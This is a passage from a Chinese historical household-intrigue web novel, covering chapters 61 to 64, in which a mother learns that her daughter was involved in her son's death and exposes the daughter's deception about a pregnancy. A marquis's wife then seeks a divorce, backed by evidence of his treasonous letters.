“那掌柜的大约是听说小姐是永宁侯府的姨娘,便应了下来,后边便当真去了永宁侯府问小姐讨要银子,只是小姐不仅不曾给,还将这掌柜的赶了出来……” 这下人是在王绍身边贴身伺候的,王绍又什么事也向来不会隐瞒了他,所以这些事情他大多都是清楚的,王绍已经出了事,他也不敢再瞒着,也都说了出来,“少爷因着这事发了好大一通脾气,所以前几日才去见了小姐。” 李氏听到此处,已经是用力揪紧了手中锦帕,面上更是全然没了血色,“所以,阿绍去永宁侯府是去找阿盈的麻烦?” 如若是这样,那王玉盈当真有了对王绍动手的理由。 这也是李氏最不想要看到的结果。 “这……”那下人犹豫着点头,“少爷素日花费不低,从前小姐还不曾离开袁家时还能从袁家要到银子,如今小姐与袁庆生和离,少爷便也只能向小姐要银子,前头小姐倒也愿意给,只是次数多了,便总不顺利……” 这些事听起来都是小事,可堆积在一起可就不同了。 再加之王绍那性子…… 这些话似乎更是佐证了一切都与王玉盈有脱不了的干系。 李氏面色惨白,身子止不住地颤抖起来。 等那些下人尽数退下之后,她才声音凄切道:“我到底是做了什么孽,养出这样的女儿来,生生把我儿子害死了!” 虽然都是她的孩子,但是她在王绍身上倾注的心血全然是王玉盈所没法比拟的。 特别是王玉盈当初闹着要嫁给一个商户,后边又将和离之事闹得人尽皆知之后,她即便还在意这个女儿,这份感情之中却也是算计居多了。 如今得知竟是王玉盈害死了王绍,这原本就寥寥无几的所谓感情也尽数被消磨殆尽,取而代之的唯有怨恨。 “夫人。”身边的婢子秋雯见她这般痛苦,忍不住劝道:“说不定这事与小姐并无关系呢,他们所言虽能说明少爷与小姐之间或许有些不和,可毕竟是有血脉亲情的,再如何也不至于下了杀手吧。” 李氏止住了眼泪,可眼底的恨意却越发分明,“阿绍不能就这样不明不白的死了,我要去问问她,若是她做的,那我绝不会就此放过了她!” 说罢,不等秋雯再说什么,她便起身外外间走去。 对于她而言,王绍这个儿子几乎是她的一切,更是她未来的指望,眼下这个 儿子没了,她几乎是什么也不顾了。 *** 观荷院。 李氏还不曾踏入院中,便正巧撞见了凝露。 她行色匆匆地往里间走去,好似竟连李氏也未曾看见。 李氏索性叫住她,“凝露。” 凝露这才好似瞧见李氏,忙上前行了礼,“夫人。” 而凝露如今的模样实在令李氏觉得有些陌生,从前她跟在王玉盈身边,做什么都是颇有几分气势的,可如今她整个人畏畏缩缩,瞧着更是消瘦了不少,浑然如同变了一个人一般。 但李氏也没心思细究这些,她只将凝露叫到一旁,“前几日阿绍是不是来过。” 凝露一听这话下意识要摇头,可她脸上那颇为不安定地神色却出卖了她。 “你与我说实话。”李氏用力抓紧了她的手腕,“阿绍如今出了事,这事与王玉盈到底有没有关系!” 凝露显然被李氏这般动作吓了一跳,她下意识想要挣扎,可李氏却用了十足的力气,怎么都不肯将她松开,“你是在她身边贴身伺候的,倘若你告诉些什么,我会护着你,但你不说,等我查出来,我的手段你也是知道的!” 李氏冷哼一声,“我有的是法子让你生不如死。” 凝露慌忙跪在了地上,额头的冷汗涔涔冒了出来,“夫人,奴婢……奴婢……” 她磕磕绊绊了好一会,才终于咬牙道:“倘若奴婢说了,夫人可否将奴婢的卖身契给了奴婢?” 她在与李氏谈条件,而这也更让她的话在李氏这里多了几分可信度。 果然,李氏闻言眼神微动,而后道:“可以,只要你说了实话,你的后路,我自会安排妥当。” 凝露听得这话,才算悄悄松了口气,而后缓缓将那日所见的景象开口说了出来。 那一切原本就是她亲眼所见,并非刻意编造,所以她说起其中细节来都没有错漏之处,听着便知道并非是假话。 而等她说到被随意丢在地上的那具尸身穿着随意裹着的杂役衣裳,被王玉盈与一男子算计着如何神不知鬼不觉地埋葬之时,李氏的脸色也越发难看。 第62章 王绍被草草掩埋在山林中的尸身她是见过的。 彼时王绍身上穿着的,就是那件脏兮兮的杂役衣服。 王玉盈作为他的亲姐姐,不仅杀了他,甚至连他死后的尊容都不曾给予。 想到自己的儿子竟是这样荒唐地死在了王玉盈与她的奸/夫手中,李氏心底的恨意愈发浓烈。 若是可以,她甚至恨不得手刃了她那个所谓的女儿。 即便让王玉盈遭受最痛苦的刑罚,都不能解了她心头怨恨。 凝露小心觑了一眼李氏的神色,继续道:“后边姑娘确实是将这尸身交与了那男子,让那男子随意寻一处地方掩埋了便是,奴婢彼时只在门外,能知道的,也唯有这么多了。” 李氏强压着心底的恨意,冷笑一声道:“当真是我的好女儿,比我想象中还要更是狠毒几分!” 说罢,她转身要走。 “夫人。”凝露却慌忙上前,“您方才答应了我会给我卖身契。” 李氏却看也不曾看她一眼,只道:“等这事了了,我会令人将你的卖身契送过来。” 说完,不等凝露再说什么,她已是大步离开。 而凝露立在原地,方才的怯懦与恐惧早已经是荡然无存,取而代之的却是笃定。 她从未指望过李氏能帮她什么,她在王家待了那么多年,自是知道李氏是什么性子,而方才她之所以那般求着李氏,不过是想让李氏再多信她几分罢了。 凝露足够聪明,也有胆量,否则也无法在这绝境之中寻到生机。 *** 重景楼。 谢元墨已经等了半日,却是到了午后纪萝的人才来。 这半日间,谢元墨虽一直神色自若地批着折子,可周南星却分明瞧见谢元墨的目光时不时落在窗外,显然心底并不安定。 昨日夜里他安排的人已经将最后一个匪徒捉住,他想将这个好消息告知纪萝。 午后,周南星进来向谢元墨传话时,不等他开口说什么,谢元墨便先搁下了笔墨,“她来了?” 周南星迟疑片刻,还是摇了摇头道:“只是纪姑娘身边的一个婢子,说是将这两封信转交给您。” “哦。”谢元墨应了一声,但眼底光亮显然黯淡下去,他接过周南星呈上的两封信,又问道:“可有说什么?” 周南星道:“说是让您先留着这两封信,倘若有一日纪姑娘出了事,便……” 他说到此处,语气一顿,而后才继续道:“倘若有一日纪姑娘出了事,便麻烦您将这封信呈交上去。” 谢元墨意识到什么,他几乎不曾迟疑将手中的信拆开,等他看完里间的内容之后神色竟还算平静,“赵承嘉与朕那个皇叔间确实有些牵扯,这两封信也算是实证了。” “这是……”周南星心中一惊,“这是永宁侯与景王来往的信件?” 谢元墨微微点头,“当初景王势大,赵承嘉骨子里也是趋炎附势之辈,存了这种心思也是正常,只是也并未来得及当真为景王做些什么,这种事,朕可以追究,也可以不与他计较。” 周南星看向谢元墨,见他眸色如墨,不自觉为赵承嘉暗自捏了一把汗。 看来这事最终不会这般容易了结了。 *** 李氏从观荷院出来之后便直接往华庆院方向去。 她满心恨意,可神色竟还算冷静,并不曾失了态。 只是一旁秋雯见她这副模样心底反而越发不安,“夫人为何不去见一见小姐,听一听小姐如何说?” 方才那些话都是凝露所言,或许再见了王玉盈这事还能有转机也未可知。 可李氏只是冷笑一声,“见她,难道还指望她会承认不曾?” 秋雯说不出话来,又听李氏接着道:“她的性子我最是了解不过,阿绍撞见了她与男子私通,她怕阿绍将这事透露出去坏了她的好事,便联合起奸/夫害了我的阿绍,你觉得她不会如此做?” “这就是她会做的事!” 倘若没有凝露的证词,李氏心底还会存有一些疑虑,可偏偏凝露将整件事的来龙去脉都说了个清楚,加之她亲眼见到的王绍尸身,以及王绍院子里那些人的证词。 这一切的一切都说明王玉盈便是害死王绍的真凶。 说到此处,李氏眼底除却恨意之外又多了几分坚定,“阿绍是我的一切,没了阿绍,一切都没了意义,王家也彻底没了指望,我如今只想……只想让王玉盈付出代价。” 到了此事,李氏早已不将王玉盈当作自己女儿来看待。 或者说她更早的时候就已经不将王玉盈当作女儿,只将其当作能扶持王绍入官场的工具。 区区一个工具,竟害死了她最为在意的儿子,她如何能善罢甘休? 秋雯不敢再为王玉盈说话,只是却还是忍不住道:“那夫人打算如何做?” “如何做?”李氏冷冷瞥她一眼,“我恨不得亲手杀了这个恶妇,但这样做只会脏了我的手,反而也是给了她一个痛快。” “她不是想留在永宁侯府,不是想做侯夫人么,我便让她再无翻身的可能!” 李氏说这话时用力攥紧了手中锦帕,目光中的恨意全然不曾掩藏,她是真的恨。 秋雯知道自己是拦不住了,也不再多言。 等到了华庆院,王氏得知李氏过来也觉得意外。 从王玉盈那桩事闹得难看之后,王氏与李氏便就再没了来往。 李氏此番过来,王氏也下意识觉得定然没有好事,不过人既然来了,她也不好拒之门外,好歹王玉盈这些时日还算安分,应当不至于闹出什么事来。 于是便令人将她请了进来。 这会儿瑜夏也在,她在赵承嘉身上费了不少心思却始终不见成效,但却很是讨王氏喜欢。 不说秋和这一层关系,瑜夏的性子也是很得王氏喜欢的,所以也时常叫来陪她说说话。 李氏进来时虽瞧见了瑜夏,但却也全然不曾在意,她本就是要毁了王玉盈,哪里会担心此事被更多人知晓? “老夫人。”她捏着帕子,一字一顿道:“我今日过来,是来向您请罪的。” 王氏皱眉,有些奇怪道:“这是怎么了?” 她倒是 第一回见李氏 这般阵仗。 李氏面色发冷,目光直挺挺地,开口说出的话却让王氏变了脸色,她道:“王玉盈从不曾怀上过侯爷的孩子,那个孩子是袁庆生的。” “你说什么?”王氏猛然起身,“你是她的母亲,这种话可不能胡说!” 若是没有这个孩子,王玉盈断然是没有入侯府的可能。 她不仅仅骗了王氏,甚至也骗了赵承嘉! 李氏嘴角是挂着笑意的,可王氏不知道为什么,总觉得那样的笑意甚至有些瘆人,她听得李氏继续道:“您也知道我是她的母亲,怎会在这种事上边撒谎?那个孩子落胎之事已有四月,彼时,她与袁庆生还不曾和离呢!” “若是不信,只管寻了当时的大夫便是,那可是一个已经成形的女胎,她足够狠心,一直用药物压制着方才不至于在侯府落了破绽,也当真骗过了你们!” 一旁瑜夏全然不曾想到自己竟会听到这般阴私之事,一时也不由睁大了眼睛。 她被王玉盈算计过一回,心中对王玉盈自然也颇为不喜,可这会儿却并不曾顾得上为王玉盈露馅而高兴,只觉得颇为震惊。 倘若这事是真的,那王玉盈可实在厉害。 她这一番算计,竟是生生骗了所有人,就连侯爷,也被她玩弄于股掌之中! 而王氏此时也已经冷静下来,她见李氏神色笃定,更是能拿出佐证,便知道这事大约是真的,她先吩咐秋和前去将王玉盈唤来与之对质,又看向李氏道:“你不是一心想将你的女儿送入侯府么?只是个妾室也心甘情愿,如今你说破这一切,对你,对你女儿可都没有好处。” 李氏此时的举动实在奇怪,她即便不在意这个女儿,想来也是会为王家和她那个扶不起的儿子做考虑的。 这也是当初她费尽心思想攀上永宁侯府的缘由。 “她害死了阿绍。”李氏并不打算隐瞒,她今日在此,便是要将一切都说出来,“她与奸/夫偷/情被阿绍撞见,竟狠心杀了阿绍!” “可怜我的阿绍,才不过十七!还未娶妻,还未生子,就这么生生丢了性命!她这个所谓姐姐,只将他的尸身草草埋了,何曾顾及过什么血脉亲情,又何曾在意过我这个年迈体弱的母亲!” 李氏一字一句控诉着王玉盈的所作所为,仿佛恨不得将她千刀万剐。 “这……”王氏虽说生气,可神色中竟也有几分怀疑,“这些事,你是从何知晓的?” 李氏说的这些实在有些荒唐,王氏虽知道王玉盈确实满腹算计,但杀弟偷人这样的事,当真是她做的么? 但李氏语气却越发笃定,她恨恨道:“我如何会冤枉了她?我多么希望此事与她无关,可偏偏是她,偏偏是她!” “老夫人,此事你不必管,我只要将她带回王家,让她为她弟弟赎罪便是!” 李氏心知这事其实不好闹大,便索性说了自己的想法。 第63章 她原本只想着要令王玉盈付出代价,最好是让其所求皆不能成。 于是索性同王氏坦白了所有。 但这会儿稍稍冷静些,也明白过来王氏并不会想让此时闹大。 既是如此,不如自己将人带回去。 她那样残忍地害了她弟弟,总要付出代价。 王氏见李氏神色几乎疯魔,也不再多说。 *** 观荷院。 王玉盈这两日心里也并不安定,甚至夜里还连着做了噩梦,梦里的自己又回到了上辈子流放之时。 兜兜转转做了这么多,最终依旧是什么也不曾改变。 她从梦中惊醒,冷汗早已湿透了里衣。 内心的恐惧也并未随着醒来而彻底消散,反而越发铺天盖地。 从那日她令那匪徒去帮她掩埋了王绍尸身之后,这事便再没了动静。 明明她与那匪徒说好,第二日是要以去寺庙求子的由头送出上京城的,可等她安排好所有一切,人却不见了踪影。 如果没有王绍这件事,那些匪徒销声匿迹对于她来说反而是一桩莫大的好事,可偏偏王绍死在了那匪徒手中,甚至这事与她也脱不了干系。 这匪徒在这紧要关系没了消息,她如何能安下心来。 而她也不能大张旗鼓地寻人,否则便是明晃晃地告诉旁人她与这些匪徒之间有些说不清道不明的关系了,所以即便如何不安,也只能强装镇定模样,只当作什么也不曾发生。 但已经发生之事却是始终会有被人知晓的一日的。 秋和便是在这个时候找上了观荷院。 彼时王玉盈虽觉得有些不安,可怎么也不至于联想到此事可能与王绍之死有些关系。 况且秋和又是个嘴严的,即便王玉盈有心打听些什么,她也只嘴角含着笑意道:“奴婢只是个传话的么,有什么事姨娘到了华庆院,便也就知道了。” 这话说了与不曾说几乎没什么分别,王玉盈听着,也只能强行克制住自己想翻白眼的冲动,而后跟着秋和去了华庆院。 她前脚出了院子,后脚院子一道身影便偷偷摸摸地往青萝院方向去了。 等王玉盈到了华庆院,才知李氏竟然也在。 因着王绍的缘故,她见了李氏,心底越发不安定,但人都已经到了,她也不能先露了怯。 即便李氏已经知道了些什么,也未必就会怀疑到自己身上,再怎么说自己也是王绍的姐姐,一般人都不会想到这事会与自己有关。 如此想着,王玉盈稍稍安了心,上前去给王氏行了礼,又转头看向李氏,挤出笑意道:“母亲,您怎么过来了?” 她的礼仪端庄,怎么都挑剔不出错处来。 只是李氏却未发一眼,只目光死死盯着她,似乎在克制着心底汹涌的恨意。 而王氏先开了口,“王姨娘,你同你母亲回家去罢。” 王玉盈猛然抬头,不可置信地看向王氏,全然没想到她会突然说出这样的话来,可却只见她神色平静地继续道:“往后,你再不是我们永宁侯府的人,也与承嘉再没了关系。” 王玉盈几乎仓皇地看向李氏,见对方分毫没有要为自己说话的意思也顾不上细想,扑通一声便对着王氏跪了下来,“老夫人,阿盈即然嫁入了侯府,那这辈子都是侯爷的人,若是阿盈做错了什么让您生了误会,还请您告知阿盈,阿盈定会改过。” 眼见王玉盈这一副凄婉至极的可怜模样,王氏在心底叹了口气,却看向李氏,“你做错的事,怕是要问问你母亲愿不愿意原谅才成……” 王玉盈泪眼婆娑地转眸,心底猛然意识到什么,但却又很快在心底抹除了这个可能。 即便那具尸身那么快就被发现了,这事也绝不会这样容易牵扯到她身上的。 她如此想着,真要询问李氏缘故,可却听得李氏满是恨意道:“你害死了你弟弟,何必在这里装模作 样?” 王玉盈吓得神色一顿,连方才那伪装得极好的可怜模样分明有了裂缝,不过她反应极快,依旧是摇头否认,“母亲您在说什么,我不明白您的意思,阿弟他怎么了?” 几乎话下来,竟是要将自己的关系全然撇开。 李氏猛然起身,“在旁人面前也就罢了,我是你母亲,你做的那些事什么时候能逃得了我的眼睛?” “母亲……”王玉盈眼底含泪,“我不知道您是在外边听什么人说了什么,可我到底是您的女儿,您怎么能将这样的罪名随意安在我头上呢?” 李氏见她不仅不肯承认,甚至还要说自己的不是,竟是笑出了声,“你以为我没有证据?” 话音落下,王玉盈指尖已经是掐入了掌心,她不知李氏所说的证据到底是什么,可见李氏神色这般笃定,即便再如何强装镇定,眼底也依旧有了慌张之色。 但不论那证据到底是什么,她也绝不能认下此事,于是依旧道:“我不明白母亲的意思。” 王氏听到此处却皱了皱眉,“此事是你们王家的事,无论如何牵扯不到侯府的身上,只是你骗了承嘉,骗了我这事却是做不得假。” “侯府无论如何是容不下你了,你同你母亲回去吧,至于你们王家的事情要如何处置,与侯府无关。” 王绍的事确实与永宁侯府无关,无论人到底是不是王玉盈所杀,王氏都不希望此事与侯府有所牵扯,所以只想让李氏尽快将人带走便是。 可王玉盈一听王氏这话,连身子都有些站不稳了,“老夫人这话是什么意思,我何曾骗过侯爷……” 说到此处,她又猛然看向李氏,显然想到或许是李氏说了什么,毕竟她过去的那些事,李氏是最清楚的人。 眼下李氏认定是她害死了王绍,因此将一切告知王氏也并非没有可能。 虽然她与王绍同样是李氏的孩子,可是她的分量与王绍的分量却是完全无法相比的。 李氏果然道:“你腹中那个孩子落胎之时便已有四月,到底是谁的孩子难道还需得我来言说?” 李氏早将一切同王氏都尽数说了,这会儿自然也不会再遮掩什么。 这事确实丢人,可王绍就这样被她害死,李氏只觉自己没有直接将王玉盈掐死就已经算是仁慈,更不说旁的。 “母亲你胡说什么?”王玉盈勉强稳住了身形,惊惶之下眼泪倒是来得容易,她道:“母亲只是因为怀疑我害了阿弟,就要这样往我身上泼脏水么?” 这些事全都不算小事,她只要认下了其中一桩,那便是要跌落万丈深渊了。 所以她只能尽可能撇清关系,又将李氏说的那些话全都说成是李氏因着王绍的缘故故意泼的脏水,如此,一切都还勉强能解释得通。 正说到此处,赵承嘉却大步走了进来。 他来得匆忙,甚至外间的下人还来不及通传。 王玉盈见他过来心底更是安定了些,虽说她入了侯府之后两人从前的情意消磨了不少,但王玉盈心底清楚,赵承嘉无论如何不可能轻易让李氏这般将自己带走。 她心底如此想着,下意识往赵承嘉身后走了两步,眼眸因着才落了眼泪而湿漉漉的,实在有几分可怜模样。 赵承嘉也果真将她护在了身后,皱眉道:“这又是怎么了?” 王氏不是头一回见王玉盈这般模样了,一见她又显露这般姿态,面上的嫌恶之色几乎不曾掩藏,她语气讥讽道:“你只问问王姨娘,或是问问王姨娘的亲娘,就知道是发生了何事了!” 赵承嘉听出这话里的意思,神色有些古怪地转头看向王玉盈,王玉盈正要开口解释些什么,李氏却索性道:“这种事儿,倘若没有证据难道我会拿出来胡言么?” “那孩子当初是我请大夫配的药落的胎,到底是多少个月时落下的,只管请那大夫过来问问便是!” 王玉盈咬牙道:“母亲既说那大夫是您的人,那您令他如何说,他定是都依着您的吩咐做事,他的话,如何能信得?” 李氏见她依旧咬死不肯认下,不由嘲讽道:“是,那大夫的话或许信不得,可你自个的身子呢,难道还能做得了假,不如索性现下便让侯爷叫一个信得过的大夫过来给你瞧瞧身子,总归这事也没过去太久,那孩子是在一月的时候落的胎,还是在四月余的时候落了胎可是全然不同的情况,你可敢令大夫过来瞧瞧?” 听到此处,即便赵承嘉对前因后果并不算太明白,只是才回来时便见王玉盈身边的凝芳六神无主地央求他来华庆院给王玉盈撑腰,但这会儿也大概算明白了此处发生之事。 如若那孩子在王玉盈腹中呆足了四个月,便能笃定那孩子绝不是他。 那便也坐实了当初的王玉盈撒了谎。 用旁人的孩子骗他,让他担下了这份责任。 任凭是哪个男子,遇上这样的事恐怕都无法忍下来。 所以赵承嘉亦是在李氏如此说了之后直接令人请了大夫过来。 凝露这会儿正在青萝院向纪萝禀报。 她道:“老夫人院中的秋和已经将王姨娘请了过去,王姨娘此时大约是什么都还不知晓的,等到了华庆院,两方一对质,老夫人定不会轻饶了她!” 凝露说起这话时,语气中竟颇有几分快意。 她虽知自己受的这些苦楚都是凝芳刻意为难所致,但却也无法全然不对王玉盈生怨。 毕竟她这些年来为王玉盈做了不少事,其中好几回甚至是为了王玉盈能豁出性命去,结果只是那一回算计纪萝出了岔子,王玉盈便令她在雨地里跪了一整夜。 至于后边的那些事,凝露心底恍若明镜。 其实只要王玉盈的心底稍稍记挂着她,想来凝芳便也就不敢这般肆意妄为,但偏偏凝芳将她害到了那般地步。 甚至连她想方设法地到了王玉盈的房门前,王玉盈却连见她一面都不愿。 她心底如何能不恨? 纪萝听得凝露所言,点头道:“你做得很好,等王姨娘的事了了,我也会将你的事安排妥当,你是想留在侯府或是……” 纪萝的话还不曾说完,凝露便道:“我想留在侯府。” 纪萝一怔,听她解释道:“我除了伺候人,也不会做别的了,倘若离开侯府那也不知该去往何处,倒不如留下来。” 听到此处,纪萝虽有些意外,可却也能理解,于是点头道:“那我会给你安排好差事。” 凝露忙跪下表了忠心,“多谢夫人,往后夫人有用得上奴婢的地方,奴婢定是义不容辞!” 纪萝弯唇笑了笑,“好。” *** 华庆院。 赵承嘉令人寻来的大夫已经在替王玉盈诊脉。 王玉盈这会儿脸色几乎惨白,手中更是止不住地冒冷汗。 显然她紧张极了。 她自是不想让这大夫替她诊脉的,毕竟她确实撒了谎,甚至前段时间为了尽快排清恶露还用了不少汤药。 这些东西免不了都会留下痕迹。 王玉盈不通药理,自然也不知道这些东西能查到几分。 而赵承嘉请来的大夫医术自是不必多说,想来他能查出来的东西自然也比寻常大夫要多上许多。 所以这会儿让这大夫替王玉盈诊脉,当真无异于将她架在火上烤了。 但她显然别无选择。 李氏已经将话说到了那份上,倘若她不答应,那不是等同于直接告诉在场之人她骗了赵承嘉,骗了王氏么? 所以她没得选,只能赌一把。 不知过了多久,那大夫终于将手从薄薄的锦帕上移开,而后开口道:“这位姨娘应当是一两月之前确实有过一个大约三四月大的孩子,那孩子还在腹中时就应当用了不少伤身子的药物,所以……” 那大夫的第一句话还不曾说完,王玉盈便只觉得一阵头晕目眩,几乎要站立不稳,耳边更是一片嗡嗡作响之声,后边说的那些话便是半个字也听不清了。 等大夫的话说完,赵承嘉便猛然看向她,他是 第一回用那样的目光看着她,似乎是恨,又似乎是失望。 她张了张嘴,想开口解释些什么,但赵承嘉却已经是用力地抬手给了她一巴掌,那样的力度将她打得头偏到了一旁,嘴里全是浓重的血腥味。 接着赵承嘉却看也不曾再多看她一眼,转身就要离开。 她意识到什么,慌忙想要去拉扯赵承嘉的衣袖,口中喃喃道:“表哥,你听我解释,你听我解释……” 赵承嘉是她唯一的希望,倘若今日她当真被李氏这样带回去,那她便再也不会有翻身的可能。 但赵承嘉只用力甩开她的手,留下一句,“这事你们看着处理!”便大步离开。 眼看赵承嘉毫不留情地离开,王玉盈几乎是心如死灰地瘫倒在地。 而到了这会儿,这场闹剧也该 结束了,王氏也不想在这事上边费心,于是有些疲累地起身道:“行了,这事也算是有个结果了,你这个女儿你就带回去吧,要怎么处置都是由着你自己,她与我们永宁侯府从今日开始,便再没了关系。” 说罢,她转身进了里间。 而李氏恨恨地看向王玉盈,不等王玉盈再求饶便吩咐婆子直接将人架起塞进了马车里。 王玉盈再无人相帮,自是再怎么挣扎都逃脱不了了。 *** 从华庆院出来之后赵承嘉便将自己关在了书房里。 这事显然对他打击极大。 他自幼与王玉盈相识,两人青梅竹马,情谊自然非同一般。 他便也以为自己对王玉盈还算了解。 在他眼中的王玉盈向来是天真纯善,即便曾经因着喜欢旁人而伤了自己,却也不曾骗过自己什么。 后来袁庆生养了外室,王玉盈便顺理成章得住进了永宁侯府,其实对于王玉盈的心思,赵承嘉并非无知无觉。 只是看着她这般用心讨好的模样,他自己也存了享受心思。 后来一步步如同被牵着鼻子一般,将王玉盈迎入府中,甚至因此失去了纪萝的孩子,他甚至也并未觉得太过糟糕。 他对王玉盈,自是真心相待。 但今天,他却才知道王玉盈从不成对他有过半分真话。 他们根本就不曾有过肌肤之亲,他亦是不曾做过对不起她之事,而那个孩子更是不必多说,那分明就是袁庆生的孩子。 王玉盈竟是……竟是将袁庆生的孩子说成自己的孩子,让自己为这个孩子负责? 这是将自己当作什么? 甚至自己还为了王玉盈与袁庆生的孩子害死了自己与纪萝的孩子。 那个孩子才是他的孩子…… 他几乎克制不住地想起了那时候的纪萝,想起了她躺在床榻上面色惨白的模样。 她因为他荒唐的行为丢了那个期待已久的孩子。 那个时候的他做了什么? 那时候的他,近乎残忍地告知了纪萝他与王玉盈的事,又毫不留情地将她赶去了那样偏僻的庄子,甚至……甚至不曾给她安排护卫,任由匪徒闯入庄子,害死她的贴身婢子…… 想到此处,赵承嘉心底一阵钝痛。 对于纪萝,他似乎是 第一回觉得,有些愧疚。 也是 第一回,为自己过去做的那些事觉得有些后悔。 倘若没有王玉盈,也没有后边的那些事,他与纪萝,该是什么模样? 他孝期之后,便已经想通要将王玉盈彻底放下,好好与纪萝在一起,与她生一个孩子,然后好好过好这一辈子。 如果没有这一切,他此时与纪萝过的,应当就是那样的日子吧。 两人不仅仅是相敬如宾,更是早生出了情意,而那个孩子,或许也已经降生…… 他将目光缓缓移向窗外,夜色暗沉,稀疏的月色高挂着,在他眼底倒影出影影绰绰的光芒。 他好似突然想到什么,猛地起身往外边走去。 一切还是来得及的。 纪萝还在,王玉盈也已经回了王家,一切都还能回到最初的时候。 他们可以当作王玉盈从不曾来过侯府,当作一切都不曾发生过。 至于纪萝与当今天子,那件事的真相如何他并不知晓,也可以说服自己不再去深究。 毕竟那人是当今天子,他们两人之间倘若当真有什么,也是天子用强也未可知。 而当今天子那样的身份,定不会对纪萝有几分真心,也定不会冒天下之大不韪将人带回宫中。 如此…… 那件事,只当作是过去之事。 就好似他与王玉盈之间的那桩过去一半,只当作什么也不曾发生过。 不是也很好吗? 他这般想着,很快到了青萝院。 而华庆院所发生之事,纪萝自然也已经知道得一清二楚。 这根本用不着她费心去打听,赵倩桐一早听说了这事就已经跑到青萝院绘声绘色地将一切尽数说给了纪萝听。 “你没有瞧见王玉盈那副模样可实在太可惜了!”赵倩桐神色惋惜道:“她几乎是被几个婆子架着出来的,整个身子瘫软在了地上,好像连魂都丢了似的。” 纪萝听她如此说也觉得畅快,“她母亲这般恨她,将她带回去之后定不会轻易放过了她,这样说来她这般恐惧也是正常。” 对于如何处置王玉盈,纪萝想过许多回。 她害死了芸枝,总归是要付出代价的。 最恨的时候,纪萝想过亲手杀了王玉盈,便是将她千刀万剐也不为过。 但冷静下来,纪萝却明白,那样做会让自己被牵扯其中,这也并非是芸枝想看到的。 而若不如此,或是将她送去官府? 可她如何保证赵承嘉不会因着对她的情意而使些法子将她救出来? 毕竟在他们眼中,死的不过是个婢子罢了。 这样的事情甚至不值当闹到官府,更不说要让王玉盈为此付出多大的代价了。 所以这条路,也显然走不通。 恰好正在此时,凝露给纪萝送来一个好消息,王玉盈竟是亲手杀死了她的弟弟。 其实凝露只说当时王绍的尸身正躺在王玉盈的脚下,至于人到底是不是王玉盈亲手杀死,凝露不曾说过,纪萝自然也就不知了。 可那重要吗? 重要的是尸身确实出现在了王玉盈的房中,而这具尸身也是王玉盈令人去掩埋的。 最重要的是,李氏一定会相信这件事与王玉盈有关! 李氏那样看重王绍这个儿子,甚至不惜拿王玉盈的婚事作为交换,儿子和女儿在她心中孰轻孰重自是不必多说。 王绍出了事,更是死在了王玉盈的手中,知道这件事情后,所有的一起对于李氏来说都已经不重要。 当初让王玉盈留在永宁侯府不过是想着王玉盈在赵承嘉面前有些份量,想着王玉盈或许能为王绍求来什么,可王绍死了,一切都没了意义。 李氏只会想让王玉盈付出代价。 如今王玉盈落到李氏手中,她要受的苦楚,比直接死去可能还要痛苦千万分。 这样的结果,纪萝怎会不满意? 赵倩桐将那些事绘声绘色说完又留下来用了晚膳才离开。 等赵倩桐离开后,纪萝正要歇下,赵承嘉却到了。 纪萝原本也有些话正要和他说,既然他来了,也省了自己去寻他。 想到此处,纪萝便理好思绪,打算同他将一切言明。 赵承嘉进来后,蓉芳便识趣地退了下去,还顺手将门紧紧闭上。 屋内只余下他们两人,烛火笼在纱灯里,晕出朦胧的光亮。 里间是安静的,在两人都未曾开口时更是安静得甚至让人觉得有些不自在。 但纪萝神色是平静的,她正要开口,赵承嘉却好似终于下定决心一般,突然握住她的手道:“阿萝,过去的事情,我们都尽数让它过去罢,我们从头开始,可好?” 纪萝听他颇为认真地说出这些话来,却只觉得有些好笑。 赵承嘉这人,其实远远比她想象中脸皮更厚。 赵承嘉却并未发觉纪萝眼底的嘲弄,语气越发认真道:“如今王玉盈已经被她母亲带回王家了,倘若你在意瑜夏,我也可以去同母亲说明,将人送出府去,总之,不会再有什么横在我们之间,阿萝,往后我身边唯有你一人。” “我们重新开始,好吗?” 他自 以为自己已经是拿出了所有的诚意,也愿意为了纪萝放弃一切。 更是理所应当地认为自己已经将话说到这份上,纪萝不会再有拒绝的理由。 可是纪萝却依旧摇了摇头,“离开庄子的前一日,我曾与侯爷说过的。” 赵承嘉眼神有些茫然,显然已经想不起纪萝那日曾说过什么,可纪萝抬眸看向他,几乎一字一顿道:“侯爷,我们和离吧。” 第64章 不是故作姿态,不是以此要挟,更不是玩笑。 她语气很是认真,每一个字都极为清晰,她说的和离,从不是谎话。 赵承嘉的神色顿了一瞬,眸色中很快多了几分焦躁,半晌,他才有些不忿道:“一定要这样吗?我或许做了些伤你的事,可我也并不曾让你在那庄子里呆多久,我甚至因着放不下你亲自去见了你,后来也让人将你接了回来,也从不曾说过要让你将侯夫人这个位置让出来!” 说到此处,他似乎想到什么,话头一转道:“况且,你难道就全然清白吗?那日寿宴,你当真没有在那间客房中?” 纪萝轻描淡写地一句话,就让赵承嘉克制不住情绪地将心底的想法尽数说了出来。 而他最后对纪萝的那些揣测,虽是真的,但纪萝也并不在意,她只淡淡道:“侯爷若是有证据,只管拿了证据出来,若没有,这空口白牙,也断没有自己给自己添绿帽的道理。” 赵承嘉心头一梗,他手头自然是没有证据的,所以还当真反驳不了纪萝这话。 “和离之事,我并非是头一回同侯爷提。”纪萝没有兴致与他多言,她了解了王玉盈之事,如今想的,便唯有和离,所以只想将这事了结,“侯爷应当也明白,我是下定决心要与侯爷和离的。” 赵承嘉面色冷下来,“若我不同意呢?不管你心里如何想,我不同意和离,那你这一辈子,不管心在哪儿,人都只能被困在我身边!” 纪萝似乎早就料到他会如此说,也早就做好了准备,所以只接着他的话道:“侯爷以为,我既然来与你谈这些,手里会什么也没有么?” 赵承嘉皱眉,有些没有明白她话里的意思,而纪萝也并未打算继续与他卖关子,所以接着道:“当初景王妄想坐上高位,侯爷原本是无心追随于他的,毕竟侯爷大约也信奉明哲保身,侯爷的性子,向来算是稳妥的,只是后来景王势大,天子却依旧不知所踪,眼看着景王距离那高位不过一步之遥。” “侯爷看着,心下也越发动摇,生怕若是选错了人,最后下场不好,所以在最后关头,还是做了错误的选择,亲笔写了书信,想投奔景王一党,可有此事?” 赵承嘉万万没想到纪萝不过一个深宅妇人,却能对朝中局势这般了解,甚至说出了他当初的心里所想。 当初景王谋反一事确实与他有所牵扯,后来天子回来,将景王的人尽数剿灭,景王也彻底没了气焰,而选择追随景王的那些人自然下场也并不好。 赵承嘉偏偏是那个犹豫到最后依旧是做了错误选择之人。 若是天子得知此事,他自然也少不了会受其牵连。 